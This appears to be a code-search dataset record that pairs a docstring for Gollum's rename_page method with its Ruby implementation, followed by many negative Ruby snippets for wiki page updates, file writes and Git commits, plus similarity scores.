"def create_file(uri, data, etag = Box.new)\n (dir, name) = Http::UrlUtil.split_path(uri)\n\n return false unless emit('beforeBind', [uri])\n\n parent = @tree.node_for_path(dir)\n unless parent.is_a?(ICollection)\n fail Exception::Conflict, 'Files can only be created as children of collections'\n end\n\n # It is possible for an event handler to modify the content of the\n # body, before it gets written. If this is the case, modified\n # should be set to true.\n #\n # If modified is true, we must not send back an ETag.\n modified = Box.new(false)\n box = Box.new(data)\n return false unless emit('beforeCreateFile', [uri, box, parent, modified])\n data = box.value\n\n etag.value = parent.create_file(name, data)\n etag.value = nil if modified.value\n\n @tree.mark_dirty(dir + '/' + name)\n\n emit('afterBind', [uri])\n emit('afterCreateFile', [uri, parent])\n\n true\n end",
"def update!(**args)\n @contents = args[:contents] if args.key?(:contents)\n @path = args[:path] if args.key?(:path)\n end",
"def update_filepath(_package_id:, _filepath:, _sha1:, _size:); end",
"def write_to_file(file_name, data)\n key_path = ::File.dirname(file_name)\n ::FileUtils.mkdir_p(key_path) unless ::File.directory?(key_path)\n ::File.rename(file_name, \"#{file_name}.#{Time.now.to_i}\") if ::File.exist?(file_name)\n ::File.open(file_name, \"wb\", 0o600) { |file| file.write(data) }\n end",
"def path= path\n @path = path\n @fileInTable.path = @user + '/' + @group + '/' + @path\n save\n end",
"def update_node(node)\n file = node_file(node)\n status = file.exist? ? \"update\" : \"add\"\n\n txn do\n (@path + \"nodes\").mkpath\n file.open(\"w\") do |f|\n f.print JSON.generate(\n node.as_json,\n object_nl: \"\\n\",\n indent: \" \",\n space: \" \"\n )\n end\n @repo.add file\n\n message = \"#{status} node #{node.fqn}\"\n @repo.commit message\n log << \"Database commit: #{message}\"\n end\n end",
"def write(path)\n # TODO: should start locking write process\n Writer.new(self, path).write\n end",
"def working_write(path, data, flags = \"\")\n @file_opener.open(path, \"w\") do |file|\n file.write(data)\n end\n if flags && flags.include?('x')\n FileHelpers.set_executable(working_join(path), true)\n end\n end",
"def commit(repo)\n # First, ensure everything up-to-date\n # The fourth argument as true tells update to ignore externals.\n repo.ctx.update(repo.wc_path, \"HEAD\", nil, true)\n \n root = Directory.new(repo.ctx, repo.wc_path)\n root.instance_eval(&@block) if @block\n ci = repo.ctx.ci(repo.wc_path)\n unless ci.revision == Svn::Core::INVALID_REVNUM\n rev = ci.revision\n repo.repos.fs.set_prop('svn:log', @message, rev) if @message\n repo.repos.fs.set_prop('svn:author', @author, rev) if @author\n repo.repos.fs.set_prop('svn:date', @date, rev) if @date\n @revprops.each do | key, val |\n val = SvnFixture.svn_time(val) if val.respond_to?(:strftime)\n repo.repos.fs.set_prop(key.to_s, val.to_s, rev)\n end\n else\n puts \"Warning: No change in revision #{name} (SvnFixture::Revision#commit)\"\n end\n return true\n end",
"def binwrite(path, data)\n File.open(path, 'wb') do |file|\n file.write(data)\n end\n end",
"def satellite_commit(repo, message, author, branch)\n options = rugged_commit_options(author, repo, message)\n commit_id = Rugged::Commit.create repo, options\n repo.index.write\n pushtobare branch\n touch # use current updated_at time\n commit_id\n end",
"def save\n pathname.open('w') { |file| file.write(data) }\n end",
"def file_digest(path, data = nil)\n if stat = self.stat(path)\n # `data` maybe provided\n if data\n digest.update(data)\n\n # If its a file, digest the contents\n elsif stat.file?\n digest.file(path)\n\n # If its a directive, digest the list of filenames\n elsif stat.directory?\n contents = self.entries(path).join(',')\n digest.update(contents)\n end\n end\n end",
"def edit_file\n @node = Node.new(:name => params[:name], :git_repo_id => params[:git_repo_id], :git_repo_path => params[:git_repo_path])\n end",
"def save(options)\n author = options[:author] ? Grit::Actor.new(options[:author][:name], options[:author][:email]) : nil\n committer = options[:committer] ? Grit::Actor.new(options[:committer][:name], options[:committer][:email]) : nil\n \n index = git.index\n if head\n commit = head.commit\n index.current_tree = commit.tree\n end\n yield index\n index.commit(options[:message], :parents => Array(commit), :author => author, :committer => committer, :head => branch) if index.tree.any?\n end",
"def save(options)\n author = options[:author] ? Grit::Actor.new(options[:author][:name], options[:author][:email]) : nil\n committer = options[:committer] ? Grit::Actor.new(options[:committer][:name], options[:committer][:email]) : nil\n \n index = git.index\n if head\n commit = head.commit\n index.current_tree = commit.tree\n end\n yield index\n index.commit(options[:message], :parents => Array(commit), :author => author, :committer => committer, :head => branch) if index.tree.any?\n end",
"def write\n File.open(@file, 'a') do |w| \n w.write(\"\\n\"+ @name + \" \" + @path)\n end\n end",
"def recurse_write(located_entry)\n write(located_entry.path, located_entry.entry_tree, top_level: false)\n end",
"def commit(new_content, user)\n c = Code.new(\n parent_id: parent_id,\n parent_class: parent_class,\n name: name,\n content: new_content,\n user_id: user.id\n )\n c.save\n c\n end"
] |
[
"0.63240737",
"0.61443555",
"0.6131746",
"0.5868356",
"0.57322294",
"0.5728045",
"0.57078475",
"0.5699554",
"0.5645879",
"0.5645103",
"0.5639555",
"0.5612382",
"0.5536948",
"0.54958296",
"0.54267526",
"0.5406553",
"0.54049265",
"0.53711426",
"0.5370828",
"0.5183242",
"0.5144816",
"0.50969064",
"0.5096411",
"0.50871",
"0.5060065",
"0.5046524",
"0.50143385",
"0.49954",
"0.49605614",
"0.49289268",
"0.49102437",
"0.4901556",
"0.4844732",
"0.48384672",
"0.4830945",
"0.48277396",
"0.48256552",
"0.48166218",
"0.48030147",
"0.47699124",
"0.4759973",
"0.4724633",
"0.47241044",
"0.47110018",
"0.47027624",
"0.46851018",
"0.46828133",
"0.4681482",
"0.4673153",
"0.46723676",
"0.46326882",
"0.46326882",
"0.46252337",
"0.46116215",
"0.45969763",
"0.4592142",
"0.45871678",
"0.45835325",
"0.45827287",
"0.45748046",
"0.4562",
"0.45281994",
"0.45236185",
"0.45169783",
"0.45055947",
"0.45055947",
"0.45012683",
"0.44940147",
"0.4486552",
"0.4477074",
"0.44661936",
"0.44462565",
"0.4441303",
"0.4433305",
"0.4432366",
"0.44269103",
"0.44245464",
"0.44190186",
"0.44146767",
"0.44108582",
"0.4408119",
"0.43941852",
"0.43926254",
"0.43732274",
"0.4372438",
"0.4371772",
"0.4371438",
"0.43709457",
"0.43506384",
"0.43328094",
"0.4329433",
"0.43145078",
"0.43094593",
"0.43041554",
"0.4294302",
"0.42937934",
"0.42937934",
"0.42927492",
"0.4290616",
"0.42883268"
] |
0.5985385
|
3
|
Public: Rename an existing page without altering content. page The Gollum::Page to update. rename The String extensionless full path of the page (leading '/' is ignored). commit The commit Hash details: :message The String commit message. :name The String author full name. :email The String email address. :parent Optional Gollum::Git::Commit parent to this update. :tree Optional String SHA of the tree to create the index from. :committer Optional Gollum::Committer instance. If provided, assume that this operation is part of batch of updates and the commit happens later. Returns the String SHA1 of the newly written version, or the Gollum::Committer instance if this is part of a batch update. Returns false if the operation is a NOOP.
|
def rename_page(page, rename, commit = {})
return false if page.nil?
return false if rename.nil? or rename.empty?
(target_dir, target_name) = ::File.split(rename)
(source_dir, source_name) = ::File.split(page.path)
source_name = page.filename_stripped
# File.split gives us relative paths with ".", commiter.add_to_index doesn't like that.
target_dir = '' if target_dir == '.'
source_dir = '' if source_dir == '.'
target_dir = target_dir.gsub(/^\//, '')
# if the rename is a NOOP, abort
if source_dir == target_dir and source_name == target_name
return false
end
multi_commit = !!commit[:committer]
committer = multi_commit ? commit[:committer] : Committer.new(self, commit)
committer.delete(page.path)
committer.add_to_index(merge_path_elements(target_dir, target_name, page.format), page.raw_data)
committer.after_commit do |index, _sha|
@access.refresh
index.update_working_dir(merge_path_elements(source_dir, source_name, page.format))
index.update_working_dir(merge_path_elements(target_dir, target_name, page.format))
end
multi_commit ? committer : committer.commit
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rename_page(page, rename, commit = {})\n return false if page.nil?\n return false if rename.nil? || rename.empty?\n\n (target_dir, target_name) = ::File.split(rename)\n (source_dir, source_name) = ::File.split(page.path)\n source_name = page.filename_stripped\n\n # File.split gives us relative paths with \".\", commiter.add_to_index doesn't like that.\n target_dir = '' if target_dir == '.'\n source_dir = '' if source_dir == '.'\n target_dir = target_dir.gsub(/^\\//, '') # rubocop:disable Style/RegexpLiteral\n\n # if the rename is a NOOP, abort\n if source_dir == target_dir && source_name == target_name\n return false\n end\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n # This piece only works for multi_commit\n # If we are in a commit batch and one of the previous operations\n # has updated the page, any information we ask to the page can be outdated.\n # Therefore, we should ask first to the current committer tree to see if\n # there is any updated change.\n raw_data = raw_data_in_committer(committer, source_dir, page.filename) ||\n raw_data_in_committer(committer, source_dir, \"#{target_name}.#{Page.format_to_ext(page.format)}\") ||\n page.raw_data\n\n committer.delete(page.path)\n committer.add_to_index(target_dir, target_name, page.format, raw_data)\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(source_dir, source_name, page.format)\n index.update_working_dir(target_dir, target_name, page.format)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update_page(page, name, format, data, commit = {})\n name = name ? ::File.basename(name) : page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n filename = (rename = page.name != name) ? Gollum::Page.cname(name) : page.filename_stripped\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename && page.format == format\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(dir, filename, format, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(dir, page.filename_stripped, page.format)\n index.update_working_dir(dir, filename, format)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = nil if dir == '.'\n rename = (page.name != name || page.format != format)\n new_path = ::File.join([dir, self.page_file_name(name, format)].compact) if rename\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(new_path, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(page.path)\n index.update_working_dir(new_path) if rename\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n if page.name == name && page.format == format\n index.add(page.path, normalize(data))\n else\n index.delete(page.path)\n add_to_index(index, dir, name, format, data, :allow_same_ext)\n end\n end\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n update_working_dir(index, dir, name, format)\n\n sha1\n end",
"def revert_page(page, sha1, sha2 = nil, commit = {})\n return false unless page\n left, right, options = parse_revert_options(sha1, sha2, commit)\n commit_and_update_paths(@repo.git.revert_path(page.path, left, right), [page.path], options)\n end",
"def delete_page(page, commit)\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n index.delete(page.path)\n end\n\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n\n sha1\n end",
"def edit_wiki_page(proj_name, page_name)\n # fetch current page contents\n page = wiki_page_client(proj_name, page_name)\n begin\n page_data = JSON.parse(page.get)\n current_src = page_data['text']\n rescue RestClient::ResourceNotFound\n page_data = {}\n current_src = ''\n end\n\n new_src = yield(current_src)\n\n changed = !(new_src.nil? || new_src == current_src)\n\n if changed\n new_data = {\n 'page' => {\n 'text' => new_src,\n 'description' => 'edited with kenai-client',\n 'number' => page_data['number']\n }\n }\n page.put(JSON.dump(new_data), :content_type => 'application/json')\n end\n\n return changed\n end",
"def write_page(name, format, data, commit = {})\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n add_to_index(index, '', name, format, data)\n end\n\n @access.refresh\n update_working_dir(index, '', name, format)\n\n sha1\n end",
"def remove_page(name, version='master')\n page = wiki.page(name, version)\n File.delete(page_path(name, version)) if !page.nil? && File.exists?(page_path(name, version))\n end",
"def post page_name\n redirect(\"/login?return_to=#{CGI::escape(@env['REQUEST_URI'])}\") and return unless logged_in?\n page_name_spc = page_name.gsub(/_/,' ')\n if input.submit = 'save'\n attrs = { :body => input.post_body, :title => input.post_title, :user_id =>@state.user.id }\n attrs[:readonly] = input.post_readonly if is_admin?\n @page = Page.find_by_title(page_name_spc)\n if @page.nil?\n # new page\n @page = Page.create(attrs)\n else\n @page.update_attributes(attrs)\n end\n redirect Show, input.post_title.gsub(/ /,'_')\n elsif input.submit == 'minor edit'\n attrs = { :body => input.post_body }\n attrs[:readonly] = input.post_readonly if is_admin?\n page = Page.find_by_title(page_name_spc)\n current_version = page.find_version(page.version)\n current_version.update_attributes(attrs)\n page.without_revision { page.update_attributes(attrs) }\n redirect Show, input.post_title.gsub(/ /,'_')\n else # cancel\n redirect Show, page_name\n end\n end",
"def put(name, page)\n assert_attributes_set\n path = File.join directory, name\n page.delete 'plugin'\n Store.put_page(path, page, :name => name, :directory => directory)\n end",
"def set_page(path, text, commit_id, email = 'unknown', sline =nil, eline = nil)\n\n cur_head = @repo.commits(@branch, 1).first\n cur_tree = @repo.tree @branch\n\n status = SETPAGE_OK\n\n if commit_id != ''\n # not new file\n\n text_blob = @repo.blob commit_id\n raise \"no path #{path}\" if ! text_blob.is_a? Grit::Blob\n cur_blob = cur_tree / path\n text_blob_data = text_blob.data.force_encoding('utf-8')\n\n if ! sline.nil? && ! eline.nil?\n text = _patch_part(text, text_blob_data, sline, eline)\n end\n\n if cur_blob.id != text_blob.id\n # collision: try append diff\n status = SETPAGE_MERGE_OK\n lmine = 'me'\n lorig = 'original'\n lyour = 'your-concurent-editor'\n newtext, diff3_status = Diff3.diff3(lmine, text,\n lorig, text_blob_data,\n lyour, cur_blob.data.force_encoding('utf-8'))\n\n case diff3_status\n when Diff3::MERGE_COLLISONS\n status = SETPAGE_MERGE_COLLISONS\n\n when Diff3::MERGE_FAIL\n # total fall back (never happens)\n status = SETPAGE_MERGE_DIFF\n diff = Grit::Commit.diff(@repo, text_blob.id, cur_blob.id).map {|d| d.diff}.join\n newtext = text + \"\\n= Collision =\\n{{{\\n#{diff}\\n}}}\\n\"\n end\n text = newtext\n end\n end\n\n index = Grit::Index.new(@repo)\n index.read_tree(cur_tree.id)\n index.add(path, text)\n\n if path =~ /\\.(wiki|txt)$/\n fstline = text.each_line.first.chomp.strip\n comment = \"file: #{path} head: #{fstline}\"\n else\n comment = \"file: #{path}\"\n end\n\n\n comment = comment.force_encoding('ASCII-8BIT')\n\n actor = Grit::Actor.from_string(email)\n\n id = index.commit(comment, parents: [cur_head], actor: actor, last_tree: cur_head, head: @branch)\n return status\n end",
"def update\n begin\n MiniWikiPage.transaction do\n @wiki_page = MiniWikiPage.find_by_name(params[:wiki_page])\n @wiki_revision = MiniWikiRevision.new(params[:wiki_revision])\n @wiki_revision.revision = @wiki_page.mini_wiki_revisions.last.revision + 1\n unless @username.blank?\n @wiki_revision.author = @username\n end\n \n @wiki_page.mini_wiki_revisions << @wiki_revision\n @wiki_page.mini_wiki_revision = @wiki_revision\n @wiki_page.save!\n end\n flash[:notice] = 'Page was successfully updated.'\n redirect_to :action => 'show', :wiki_page => @wiki_page.name\n rescue\n render :action => 'edit', :template => 'edit'\n end\n end",
"def delete_page(page, commit)\n delete_file(page.url_path, commit)\n end",
"def update_page(name=nil)\n logger.debug \"DB ********** calling item_category#update_page ********** \"\n logger.debug \"DB ********** passed in name: #{name.to_s} ********** \"\n name ||= self.item.name #(force_reload = true) # force reload ensures item is pulled from DB instead of memory\n logger.debug \"DB ********** name after lookup: #{name.to_s} ********** \"\n page = self.page ? self.page : self.build_page\n unless name.blank?\n page.title = name\n page.menu_name = name\n page.set_safe_shortcut(name)\n end\n page.displayed = item.display\n page.parent = category.page\n end",
"def page_name\n # return the name if name starts with a digit\n return name if name =~ /^\\s*\\d+.*$/ || !sg_parent\n pos = 0\n sg_parent.pages.each_with_index do |p, i|\n if self.id == p.id\n pos = i + 1\n break\n end\n end\n \"#{pos} #{name}\"\n end",
"def rename(entry, new_name, &continue_on_exists_proc); end",
"def test_rename_page_name\n cache_page(TEST_PAGE_LINK)\n \n login_editor_integrated\n new_name = 'Renamed Page'\n new_name_link = 'renamed_page'\n content = 'This is a renamed page'\n \n post url_for(:controller => 'wiki', :action => 'save', :link => TEST_PAGE_LINK, :author => 'Test Author', :content => content, :page_name => new_name)\n assert_no_errors \n follow_redirect!\n assert_no_errors\n assert_page_cached(TEST_PAGE_LINK) \n assert_page_not_cached(new_name_link) \n end",
"def rename(entry, new_name, &continue_on_exists_proc)\n found_entry = get_entry(entry)\n check_entry_exists(new_name, continue_on_exists_proc, 'rename')\n @entry_set.delete(found_entry)\n found_entry.name = new_name\n @entry_set << found_entry\n end",
"def update_page\n if self.page && self.page.reload\n self.page.update_modified(true) unless self.page.is_modified?\n end\n rescue ActiveRecord::RecordNotFound\n nil\n end",
"def post_rename(old_name,repo,data)\n curl_post(\"#{self.host}/api2/repos/#{repo}/file/?p=#{old_name}\",data).body_str\n end",
"def update_page(page, bundle)\n\t\tnew_bundle = page.eql?('previous') ? previous_bundle(bundle) : bundle.next_bundle\n\t\treturn (new_bundle.nil? ? bundle : new_bundle)\n\tend",
"def execute(msg, old_page, new_page)\n begin\n move = wiki.move(old_page, new_page, reason: 'Moving page from IRC.', suppress_redirect: true)\n rescue MediaWiki::Butt::EditError => e\n msg.reply(\"Failed! Error code: #{e.message}\")\n end\n\n if move\n links = wiki.what_links_here(old_page)\n links.each do |l|\n edit(l, msg, minor: true) do |text|\n return { terminate: nil } if text.nil? || text !~ /#{old_page}/\n text.gsub!(/\\[\\[#{old_page}\\|/, \"[[#{new_page}|\")\n text.gsub!(/\\[\\[#{old_page}\\]\\]/, \"[[#{new_page}]]\")\n text.gsub!(/\\{[Ll]\\|#{old_page}\\|/, \"{{L|#{new_page}|\")\n text.gsub!(/\\{\\{[Ll]\\|#{old_page}\\}\\}/, \"{{L|#{new_page}}}\")\n {\n text: text,\n success: nil,\n fail: nil,\n error: Proc.new { |e| \"Something went wrong when editing #{l}! Error code: #{e.message} ... Continuing ...\" }\n }\n end\n end\n msg.reply('Finished.'.freeze)\n end\n end",
"def normalize! page\n mediawiki = text page\n html = text_wikimedia_html page\n norm_mediawiki = normalize_text mediawiki, html, page\n if mediawiki != norm_mediawiki\n write! page, norm_mediawiki\n else\n pp %Q{normalize! page #{page} already normalized}\n end\n norm_mediawiki\n end",
"def page_path(name, version='master')\n page = wiki.page(name, version)\n if !page.nil?\n \"#{path}/#{page.path}/#{page.version.id}\"\n end\n end",
"def rename(path, name, new_name)\n\t\traise(Rush::NameCannotContainSlash, \"#{path} rename #{name} to #{new_name}\") if new_name.match(/\\//)\n\t\told_full_path = \"#{path}/#{name}\"\n\t\tnew_full_path = \"#{path}/#{new_name}\"\n\t\traise(Rush::NameAlreadyExists, \"#{path} rename #{name} to #{new_name}\") if ::File.exists?(new_full_path)\n\t\tFileUtils.mv(old_full_path, new_full_path)\n\t\ttrue\n\tend",
"def rename(path, name, new_name)\n\t\traise(Rush::NameCannotContainSlash, \"#{path} rename #{name} to #{new_name}\") if new_name.match(/\\//)\n\t\told_full_path = \"#{path}/#{name}\"\n\t\tnew_full_path = \"#{path}/#{new_name}\"\n\t\traise(Rush::NameAlreadyExists, \"#{path} rename #{name} to #{new_name}\") if ::File.exists?(new_full_path)\n\t\tFileUtils.mv(old_full_path, new_full_path)\n\t\ttrue\n\tend",
"def update_or_create_page(title: nil, parent_title: nil, space_key: nil, content: '')\n page = find_page_by_title(title: title, space_key: space_key)\n if page.empty?\n puts \"Creating new page: #{title}\"\n parent_page = find_page_by_title(title: parent_title, space_key: Settings.space_key)\n return \"No Parent: #{parent_title}\" if parent_page.empty?\n result = new_child_page(title: title, ancestor_id: parent_page['id'], \n space_key: space_key, content: content)\n else\n puts \"Updating page: #{title}\"\n result = update_page(page: page, space_key: space_key, content: content)\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to([:admin, @page], notice: 'Page was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated page: #{@page.title}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @page.update(page_params)\n redirect_to notebook_page_path(@notebook, @page), notice: 'Page was successfully updated.' \n else\n render :edit\n end\n end",
"def rename\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n @mail_folder = MailFolder.find(params[:id])\n\n unless params[:thetisBoxEdit].blank?\n @mail_folder.name = params[:thetisBoxEdit]\n @mail_folder.save\n end\n render(:partial => 'ajax_folder_name', :layout => false)\n end",
"def update\n @page = @club.pages.find(params[:id])\n @page.parent_id = params[:page][:parent_id];\n @page.bns_parent_id = params[:page][:parent_id];\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Pages was successfully updated.'\n format.html { redirect_to(admin_club_page_path(@club, @page)) }\n format.xml { head :ok }\n else\n @pagelist = @club.all_pages\n @pagelist = @club.all_pages\n @pagelist -= @page.all_children << @page\n \n @page_title = \"Editing \" + @page.title\n @site_section = \"admin\"\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def delete_page(page)\n transaction \"delete `#{page.title}'\" do\n store.delete(page.title + '.md')\n end\n end",
"def commit_with_content(page, content, log = nil)\n escaped_page = escape(page)\n wiki = File.read(File.join(@data_path, \"text\", \".wiki\"))\n dir = File.join(@root, wiki, escaped_page).untaint\n revision = last_revision(page) + 1\n page_path = File.join(@data_path, \"text\", escaped_page).untaint\n FileUtils.mkdir_p(dir)\n FileUtils.rm_f(File.join(dir, \".removed\"))\n\n File.open(page_path, \"w+\") do |file|\n file.write(content)\n end\n FileUtils.cp(page_path, File.join(dir, revision.to_s))\n end",
"def page_name\n basename = File.basename @relative_name\n basename =~ /\\.(rb|rdoc|txt|md)$/i\n\n $` || basename\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @pages_tree[(@page.id).to_s], notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rename(file, newname)\n raise \"Sorry... 'AimsCalc rename' isn't implemented yet.\"\nend",
"def post_move_page(name, page_number, new_index, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = post_move_page_with_http_info(name, page_number, new_index, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = post_move_page_with_http_info(name, page_number, new_index, opts)\n else\n raise\n end\n return data\n end",
"def recursive_create_page(page, parent=nil)\n Globalize.locale = @master_locale\n puts \"#{page['title']}\"\n p = Refinery::Page.find_by_title page['title']\n if not p or p.parent != parent\n puts \"+++ Create page #{page['title']} (#{page['type']})\"\n if parent then\n p = parent.children.create :title => page['title'],\n :deletable => false,\n :view_template => page['type']\n else\n p = Refinery::Page.create :title => page['title'],\n :deletable => false,\n :view_template => page['type']\n end\n else\n puts \" === Found existing page #{page['title']} (#{page['type']})\"\n end\n if page.has_key?('skip_to_first_child') and page['skip_to_first_child'] != p.skip_to_first_child\n p.skip_to_first_child = page['skip_to_first_child']\n p.save\n end\n if page['parts'] then\n page['parts'].each_pair do |key, part|\n puts \" ++ create page part #{key}\"\n pp = p.parts.find_by_title(key)\n pp.body = part.strip\n pp.save\n end\n end\n if page['children'] then\n page['children'].each do |child|\n recursive_create_page child, p\n end\n end\n end",
"def edit\n # Clear the page cache for this page... ?\n @page = ComatosePage.find params[:id]\n @root_pages = [fetch_root_page].flatten\n if request.post?\n @page.update_attributes(params[:page])\n @page.updated_on = Time.now\n @page.author = fetch_author_name\n if @page.save\n expire_cms_page @page\n expire_cms_fragment @page\n flash[:notice] = \"Saved changes to '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n end\n end",
"def update\n flash[:notice] = 'The page was successfully updated.' if page.update_attributes(params[:page])\n respond_with(page, location: project_page_path(page.project, page))\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\" \n return response(url)\n end",
"def change_page(p)\n self.page = p\n self\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\"\n return response(url)\n end",
"def update_page(page)\n case page\n when 'previous'\n @bundle = previous_bundle\n when 'next'\n @bundle = next_bundle\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to [:admin, @page], notice: 'Страница успешно создана.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\"\n return response(url)\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\"\n return response(url)\n end",
"def page=( page )\n init_db_from_page( page )\n @page = page.deep_clone\n end",
"def update\n if @page.update(page_params)\n redirect_to admin_pages_path, notice: 'Страница успешно обновлена!'\n else\n render :edit\n end\n end",
"def rename oldname, newname\n add \"mv #{oldname} #{newname}\", check_file(newname)\n end",
"def put_new_page(name, page_name, opts = {})\n data, _status_code, _headers = put_new_page_with_http_info(name, page_name, opts)\n return data\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to admin_pages_path, notice: 'Page bien modifiée.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def page(wiki, commit)\n blob = self.blob(wiki.repo)\n page = wiki.page_class.new(wiki).populate(blob, self.dir)\n page.version = commit\n page\n end",
"def update\n @page = Page.by_slug(params[:id]) || raise(NotFound)\n if @page.update_attributes(params[:page])\n redirect url(:page, @page)\n else\n flash[:notice] = 'Your changes have been rejected.'\n render :edit\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = t(:page_updated)\n format.html { redirect_back_or_default(admin_page_path(@page)) }\n format.xml { head :ok }\n else\n format.html { render :action => 'edit' }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def page name\n @text_files_hash.each_value.find do |file|\n file.page_name == name or file.base_name == name\n end\n end",
"def test_update_page\n file = Configuration.TEST_PAGE\n file2 = Configuration.OTHER_TEST_PAGE\n \n # This test depends on a succesfull login\n if test_correct_login\n token = make_login Configuration.USER, Configuration.PASSWORD\n else\n return false\n end\n \n page_key = 'page-test-' + random_string(Configuration.PAGE_KEY_RS_SIZE)\n \n # This test also depends on a succesfull page creation\n if test_create_page\n post_page file, token, page_key, 'test-tag', 'This is a Test Page'\n else\n return false\n end\n \n res = post_page file2, token, page_key, 'test-tag-2', 'This is a Test Page 2'\n puts \"\\nTester#test_update_page:\\n#{res}\" if Configuration.VERBOSE \n res == Constants.SUCCESS_MESSAGE\n end",
"def update\r\n @page = Page.find(params[:id])\r\n respond_to do |format|\r\n if @page.update_attributes(params[:page])\r\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\r\n format.json { head :no_content }\r\n target = \"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\"\r\n File.open(target, \"w\") do |f|\r\n f.write(@page.html)\r\n end\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @page.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def cleanup_page_titles\n pages.each do |p|\n new_title = p.title.sub(/^page\\s*/i, '').strip\n p.title = new_title\n end\n\n pages.each do |p|\n if p.title.empty?\n if p.image_filename # we need to be able to make the assumption this exists\n p.title = file_name(p.image_filename)\n end\n end\n end\n\n seen = {}\n sequence = 1\n problems = []\n pages.each do |p|\n if p.title.empty?\n p.title = sequence.to_s\n end\n if seen[p.title]\n p.title += \" (#{sequence})\"\n problems.push p.title\n end\n seen[p.title] = true\n sequence += 1\n end\n\n if not problems.empty?\n warning \"Some page labels were not unique; the sequence number was appended: '\" + problems.join(\"', '\") + \"'.\"\n end\n end",
"def process_subpages(dir, parent_page)\n\t\tmarkdown_files_in(dir) do |subpage|\n\n\t\t\tsubpage_path = File.basename(subpage)\n\t\t\tsubpage_info = split_info(subpage_path)\n\t\t\t\n\t\t\t# if parsable file name\n\t\t\tif subpage_info\n\t\t\t\t# file = IO.read(File.join(dir, subpage_path))\n\t\t\t\tfile = FrontMatterParser::Parser.parse_file(File.join(dir, subpage_path))\n\t\t\t\t\n\t\t\t\t# new_subpage = parent_page.subpages.create(:title => subpage_info[2], :position => subpage_info[1], :content => file)\n\t\t\t\ttitle = file['title'].present? && \"#{parent_page.section.title} / #{parent_page.title} / #{file['title']}\"\n\t\t\t\t\n\t\t\t\tnew_subpage = parent_page.subpages.find_by_title(title || subpage_info[2]) || parent_page.subpages.new(title: title || subpage_info[2])\n\t\t\t\tnew_subpage.position = subpage_info[1]\n\t\t\t\tnew_subpage.content = file.content\n\t\t\t\tnew_subpage.description = file.front_matter['description']\n\t\t\t\tnew_subpage.save\n\t\t\t\tadd_to_index(file.front_matter['keywords'], new_subpage.id)\n\t\t\t\t\t\n\t\t\t\t@touched_subpages << new_subpage.id\n\t\t\tend\n\t\tend\n\n\t\tasciidoc_files_in(dir) do |subpage|\n\n\t\t\tsubpage_path = File.basename(subpage)\n\t\t\tsubpage_info = split_info(subpage_path)\n\t\t\t\n\t\t\t# if parsable file name\n\t\t\tif subpage_info\n\t\t\t\tfile = IO.read(File.join(dir, subpage_path))\n\t\t\t\t\n\t\t\t\tRails.logger.info \"HAAAI 